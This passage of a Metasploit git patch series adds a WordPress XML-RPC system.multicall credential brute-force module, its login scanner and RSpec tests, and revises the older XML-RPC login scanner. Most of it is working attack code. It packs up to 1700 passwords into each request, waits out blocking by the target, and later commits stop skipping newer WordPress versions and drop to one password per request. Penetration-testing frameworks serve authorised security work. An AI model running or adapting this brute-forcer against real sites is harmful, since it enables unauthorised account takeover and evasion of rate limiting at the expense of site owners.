protocol: 'tcp' - } - result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) - return Result.new(result_opts) - end - end - end + http_client = Rex::Proto::Http::Client.new( + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies + ) + configure_http_client(http_client) result_opts = { - credential: credential, - host: host, - port: port, - protocol: 'tcp' + credential: credential, + host: host, + port: port, + protocol: 'tcp' } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end - result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) - return Result.new(result_opts) + begin + http_client.connect + + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method, + 'data' => generate_xml_request(credential.public,credential.private), + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body =~ /401<\/int><\/value>/ || response.body =~ /user_id<\/name>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + elsif response.body =~ /-32601<\/int><\/value>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + + end + + # This method generates the XML data for the RPC login request + # @param user [String] the username to authenticate with + # @param pass [String] the password to authenticate with + # @return [String] the generated XML body for the request + def generate_xml_request(user, pass) + xml = "" + xml << '' + xml << 'wp.getUsers' + xml << '1' + xml << "#{user}" + xml << "#{pass}" + xml << '' + xml << '' + xml + end + + # (see Base#set_sane_defaults) + def set_sane_defaults + @method = "POST".freeze + super end end @@ -147,4 +78,3 @@ module Metasploit end end - diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb new file mode 100644 index 0000000000..918be2c086 --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/wordpress_multicall' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress XML-RPC system.multicall Credential Collector', + 'Description' => %q{ + This module attempts to find Wordpress credentials by abusing the XMLRPC + APIs. Wordpress versions prior to 4.4.1 are suitable for this type of + technique. For other versions, please try the wordpress_xmlrpc_login + module instead. + }, + 'Author' => + [ + 'Cenk Kalpakoglu ', + 'KingSabri ' , + 'William ', + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'], # Weak password + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] + ], + 'DefaultOptions' => + { + 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), + 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") + } + )) + + register_options( + [ + OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), + OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]) + ], self.class) + + # Not supporting these options, because we are not actually letting the API to process the + # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC. + deregister_options( + 'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS' + ) + end + + def passwords + File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp} + end + + def check_options + if datastore['CHUNKSIZE'] > 1700 + fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700') + end + end + + def setup + check_options + end + + def check_setup + vprint_status("Checking #{peer} status!") + version = wordpress_version + vprint_status("Found Wordpress version: #{version}") + + if !wordpress_and_online? + print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") + false + elsif !wordpress_xmlrpc_enabled? + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") + false + elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1') + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.") + false + else + print_status("Target #{peer} is running Wordpress") + true + end + end + + def run_host(ip) + if check_setup + print_status("XMLRPC enabled, Hello message received!") + else + print_error("Abborting the attack.") + return + end + + print_status("#{peer} - Starting XML-RPC login sweep...") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: true, + user_file: datastore['USER_FILE'], + username: datastore['USERNAME'] + ) + + scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new( + configure_http_login_scanner( + passwords: passwords, + chunk_size: datastore['CHUNKSIZE'], + block_wait: datastore['BLOCKEDWAIT'], + base_uri: target_uri.path, + uri: wordpress_url_xmlrpc, + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + ) + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}" + end + end + + end + +end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 1d56d14fc3..fb7097671a 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -8,7 +8,6 @@ require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_rpc' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute @@ -16,106 +15,56 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', - 'Description' => %q{ - This module attempts to authenticate against a Wordpress-site - (via XMLRPC) using username and password combinations indicated - by the USER_FILE, PASS_FILE, and USERPASS_FILE options. - - Please note this module will not work against newer versions of Wordpress, - such as 4.4.1, due to the mitigation in place. - }, - 'Author' => - [ - 'Cenk Kalpakoglu ', - 'KingSabri ' , - 'William ' - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'https://wordpress.org/'], - ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], - ['CVE', '1999-0502'], # Weak password - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] - ], - 'DefaultOptions' => - { - 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), - 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") - } - )) + 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', + 'Description' => ' + This module attempts to authenticate against a Wordpress-site + (via XMLRPC) using username and password combinations indicated + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + ', + 'Author' => + [ + 'Cenk Kalpakoglu ', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'] # Weak password + ] + )) register_options( - [ - OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), - OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]) - ], self.class) + [ + Opt::RPORT(80), + ], self.class) - # Not supporting these options, because we are not actually letting the API to process the - # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC. - deregister_options( - 'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS' - ) - end - - def passwords - File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp} - end - - def check_options - if datastore['CHUNKSIZE'] > 1700 - fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700') - end - end - - def setup - check_options - end - - def check_setup - vprint_status("Checking #{peer} status!") - version = wordpress_version - vprint_status("Found Wordpress version: #{version}") - - if !wordpress_and_online? - print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") - false - elsif !wordpress_xmlrpc_enabled? - print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") - false - elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1') - print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.") - false - else - print_status("Target #{peer} is running Wordpress") - true - end + deregister_options('BLANK_PASSWORDS') # we don't need this option end def run_host(ip) - if check_setup - print_status("XMLRPC enabled, Hello message received!") + print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") + if wordpress_xmlrpc_enabled? + vprint_good("XMLRPC enabled, Hello message received!") else - print_error("Abborting the attack.") - return + print_error("XMLRPC is not enabled! Aborting") + return :abort end print_status("#{peer} - Starting XML-RPC login sweep...") cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: true, + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], user_file: datastore['USER_FILE'], - username: datastore['USERNAME'] + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], ) scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( configure_http_login_scanner( - passwords: passwords, - chunk_size: datastore['CHUNKSIZE'], - block_wait: datastore['BLOCKEDWAIT'], - base_uri: target_uri.path, uri: wordpress_url_xmlrpc, cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], @@ -130,10 +79,24 @@ class Metasploit3 < Msf::Auxiliary module_fullname: self.fullname, workspace_id: myworkspace_id ) - case result.status when Metasploit::Model::Login::Status::SUCCESSFUL - print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}" + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) end end diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb new file mode 100644 index 0000000000..59f4895543 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb @@ -0,0 +1,108 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/wordpress_multicall' + +describe Metasploit::Framework::LoginScanner::WordpressMulticall do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + subject do + described_class.new + end + + let(:username) do + 'username' + end + + let(:good_password) do + 'goodpassword' + end + + let(:passwords) do + [good_password] + end + + let(:good_response) do + %Q| + + + + + + + + + isAdmin1 + urlhttp://192.168.1.202/wordpress/ + blogid1 + blogNameTest + xmlrpchttp://192.168.1.202/wordpress/xmlrpc.php + + + + + + + + + | + end + + let(:response) do + r = Rex::Proto::Http::Response.new(200, 'OK') + r.body = good_response + r + end + + before(:each) do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect) + end + + before do + subject.instance_variable_set(:@passwords, passwords) + subject.set_default + end + + describe '#generate_xml' do + context 'when a username is given' do + it 'returns an array' do + expect(subject.generate_xml(username)).to be_kind_of(Array) + end + + it 'contains our username' do + xml = subject.generate_xml(username).first + expect(xml).to include('') + end + end + end + + describe '#attempt_login' do + context 'when the credential is valid' do + it 'returns a Result object indicating a successful login' do + cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password) + result = subject.attempt_login(cred_obj) + expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + end + + describe '#send_wp_request' do + context 'when a request is sent' do + it 'sets @res with an HTTP response object' do + subject.send_wp_request('xml') + expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'sets @res with an XML document' do + subject.send_wp_request('xml') + expect(subject.instance_variable_get(:@res).body).to include('') + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb index 3182394c17..663a5375b8 100644 --- a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb @@ -1,108 +1,11 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/wordpress_rpc' -describe Metasploit::Framework::LoginScanner::WordpressRPC do +RSpec.describe Metasploit::Framework::LoginScanner::WordpressRPC do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' - subject do - described_class.new - end - let(:username) do - 'username' - end - - let(:good_password) do - 'goodpassword' - end - - let(:passwords) do - [good_password] - end - - let(:good_response) do - %Q| - - - - - - - - - isAdmin1 - urlhttp://192.168.1.202/wordpress/ - blogid1 - blogNameTest - xmlrpchttp://192.168.1.202/wordpress/xmlrpc.php - - - - - - - - - | - end - - let(:response) do - r = Rex::Proto::Http::Response.new(200, 'OK') - r.body = good_response - r - end - - before(:each) do - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args) - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response) - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args) - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close) - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect) - end - - before do - subject.instance_variable_set(:@passwords, passwords) - subject.set_default - end - - describe '#generate_xml' do - context 'when a username is given' do - it 'returns an array' do - expect(subject.generate_xml(username)).to be_kind_of(Array) - end - - it 'contains our username' do - xml = subject.generate_xml(username).first - expect(xml).to include('') - end - end - end - - describe '#attempt_login' do - context 'when the credential is valid' do - it 'returns a Result object indicating a successful login' do - cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password) - result = subject.attempt_login(cred_obj) - expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result) - expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) - end - end - end - - describe '#send_wp_request' do - context 'when a request is sent' do - it 'sets @res with an HTTP response object' do - subject.send_wp_request('xml') - expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response) - end - - it 'sets @res with an XML document' do - subject.send_wp_request('xml') - expect(subject.instance_variable_get(:@res).body).to include('') - end - end - end - -end +end \ No newline at end of file From 53e9bd7f51aeeeded034349d83848986a7e7fd86 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 Jan 2016 18:55:45 -0600 Subject: [PATCH 29/33] This line does nothing --- modules/auxiliary/scanner/http/wordpress_multicall_creds.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb index 918be2c086..f183867037 100644 --- a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb +++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb @@ -74,7 +74,6 @@ class Metasploit3 < Msf::Auxiliary end def check_setup - vprint_status("Checking #{peer} status!") version = wordpress_version vprint_status("Found Wordpress version: #{version}") From 6bbfc5a8695e780b1fa93b7e21acc45b3a5cbf0f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 Jan 2016 20:27:45 -0600 Subject: [PATCH 30/33] Fix rspec --- .../framework/login_scanner/wordpress_multicall_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb index 59f4895543..ef488e5560 100644 --- a/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/wordpress_multicall' -describe Metasploit::Framework::LoginScanner::WordpressMulticall do +Rspec.describe Metasploit::Framework::LoginScanner::WordpressMulticall do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' From 781ff4bb7d5521c736b335cde77bde06cb5bf7f5 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 Jan 2016 20:39:40 -0600 Subject: [PATCH 31/33] Rspec is deprecated. Use RSpec instead. --- .../framework/login_scanner/wordpress_multicall_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb index ef488e5560..7515c1e859 100644 --- a/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/wordpress_multicall' -Rspec.describe Metasploit::Framework::LoginScanner::WordpressMulticall do +RSpec.describe Metasploit::Framework::LoginScanner::WordpressMulticall do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' From ad3eed525bb5bacdf1b50a419f525b318e822efb Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Sat, 23 Jan 2016 08:06:27 +0300 Subject: [PATCH 32/33] Handing newer version of WP, fallback CHUNKSIE to 1 --- .../login_scanner/wordpress_multicall.rb | 17 +++++++++-------- .../scanner/http/wordpress_multicall_creds.rb | 16 +++++++--------- 2 files changed, 16 insertions(+), 17 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/wordpress_multicall.rb b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb index 02068a3ab4..eaeb9aedf8 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_multicall.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb @@ -8,30 +8,31 @@ module Metasploit class WordpressMulticall < HTTP # @!attribute passwords - # @return [Array] + # @return [Array] attr_accessor :passwords - # @!attribute chunk_size - # @return [Fixnum] + # @!attribute chunk_size, limits number of passwords per XML request + # @return [Fixnum] attr_accessor :chunk_size - # @!attribute block_wait - # @return [Fixnum] + # @!attribute block_wait, time to wait if got blocked by the target + # @return [Fixnum] attr_accessor :block_wait # @!attribute base_uri - # @return [String] + # @return [String] attr_accessor :base_uri # @!attribute wordpress_url_xmlrpc - # @return [String] + # @return [String] attr_accessor :wordpress_url_xmlrpc + def set_default self.wordpress_url_xmlrpc = 'xmlrpc.php' self.block_wait = 6 self.base_uri = '/' - self.chunk_size = 1800 + self.chunk_size = 1700 end # Returns the XML data that is used for the login. diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb index f183867037..2d79c511be 100644 --- a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb +++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb @@ -13,6 +13,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report + # include Metasploit::Framework::LoginScanner::WordpressMulticall def initialize(info = {}) super(update_info(info, @@ -20,12 +21,10 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module attempts to find Wordpress credentials by abusing the XMLRPC APIs. Wordpress versions prior to 4.4.1 are suitable for this type of - technique. For other versions, please try the wordpress_xmlrpc_login - module instead. + technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically. }, 'Author' => [ - 'Cenk Kalpakoglu ', 'KingSabri ' , 'William ', 'sinn3r' @@ -33,9 +32,6 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'https://wordpress.org/'], - ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], - ['CVE', '1999-0502'], # Weak password ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] ], @@ -49,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), - OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]) + OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]), ], self.class) # Not supporting these options, because we are not actually letting the API to process the @@ -84,8 +80,10 @@ class Metasploit3 < Msf::Auxiliary print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") false elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1') - print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.") - false + print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.") + vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1") + datastore['CHUNKSIZE'] = 1 + true else print_status("Target #{peer} is running Wordpress") true From 064af0d670e7cf6dbf94c1e36fc97c581a335c5b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 Jan 2016 00:11:58 -0600 Subject: [PATCH 33/33] Remove unwanted comment --- modules/auxiliary/scanner/http/wordpress_multicall_creds.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb index 2d79c511be..d52d6c8f69 100644 --- a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb +++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb @@ -13,7 +13,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report - # include Metasploit::Framework::LoginScanner::WordpressMulticall def initialize(info = {}) super(update_info(info,